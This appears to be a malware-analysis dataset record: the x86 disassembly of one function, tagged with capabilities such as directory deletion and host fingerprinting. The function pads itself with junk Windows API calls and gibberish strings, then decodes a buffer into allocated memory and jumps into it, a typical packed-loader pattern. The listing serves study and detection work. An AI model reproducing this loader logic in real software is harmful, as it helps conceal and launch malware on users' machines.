Function at 0x401251
Capabilities:
Create directory
Delete directory
Get common file path
Get disk information
Get geographical location
Get hostname
Set environment variable

Disassembly:
mov eax, 0x807812
call fcn.00806a5c
mov eax, 0x2950
call fcn.00408aa0
push ebx
push esi
xor esi, esi
cmp dword [0x1e071a4], 0x93
push edi
jne 0x40132c
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x95c]
push eax
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
lea eax, [ebp - 0x55c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
lea eax, [ebp - 0xd5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableW]
push esi
call fcn.004022e6
fldz
pop ecx
push esi
push ecx
push ecx
fstp qword [esp]
call fcn.00401b9d
add esp, 0xc
fstp st(0)
lea eax, [ebp - 0x2c]
push eax
call fcn.004018b0
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov dword [eax], eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 4], eax
mov dword [ebp - 0x14], esi
cmp ecx, dword [ebp - 0x18]
je 0x401317
mov edi, dword [ecx]
push ecx
call fcn.004022db
pop ecx
mov ecx, edi
cmp edi, dword [ebp - 0x18]
jne 0x401307
push dword [ebp - 0x18]
call fcn.004022db
push dword [ebp - 0x2c]
mov dword [ebp - 0x18], esi
call fcn.004022db
pop ecx
pop ecx
add dword [0x1e071a4], 0x1134b
push dword [0x1e071a4]
mov eax, dword [0x814ac0]
push esi
mov dword [0x1e07c08], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x1e070f8], eax
call fcn.0040119c
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x115c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x40135c
cmp dword [0x1e071a4], esi
jbe 0x4013da
mov eax, dword [0x1e07c08]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x1e070f8]
mov byte [ecx + edi], al
cmp dword [0x1e071a4], 0x490
jne 0x4013d1
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_StretchDIBits]
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push str.xesiyohezog_ciribeyugezegakoruhozapoziji
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc edi
cmp edi, dword [0x1e071a4]
jb 0x401375
xor edi, edi
mov eax, dword [0x1e071a4]
add eax, edi
cmp eax, 0x8d
jne 0x401475
push str.dowuc_vakowucokicahakuzahagukevu_kibotuja
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0xd5c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push str.hevefuxunucoyey_datukiwopigenudarasilanikotekagu_kud
call dword [sym.imp.USER32.dll_UnregisterClassA]
push esi
push esi
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
lea eax, [ebp - 0x1d5c]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
lea eax, [ebp - 0x295c]
push eax
push str.muwegekifowucake
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
lea eax, [ebp - 0x55c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x95c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
inc edi
cmp edi, 0x38681
jl 0x4013dc
mov eax, dword [0x1e071a4]
mov ecx, dword [0x1e070f8]
shr eax, 3
cmp eax, esi
jbe 0x4014c6
mov edi, ecx
mov ebx, eax
cmp dword [0x1e071a4], 0x959
jne 0x4014ba
push esi
lea eax, [ebp - 0x295c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push edi
call fcn.00401037
add edi, 8
dec ebx
jne 0x401498
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4014e6
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x1e070f8], eax
inc edi
cmp edi, 0x674db
jl 0x4014c8
push 0x7b
pop edi
cmp dword [0x1e071a4], 0x86
jne 0x401555
push esi
push esi
push esi
push esi
push esi
push esi
push str.pihitikibicavatusilevi_jotevonac
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea eax, [ebp - 0x48]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
lea eax, [ebp - 0x155c]
push eax
push esi
push str.rahabecunuxunorifoyoce
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x215c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
dec edi
jne 0x4014f2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x1e070f8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret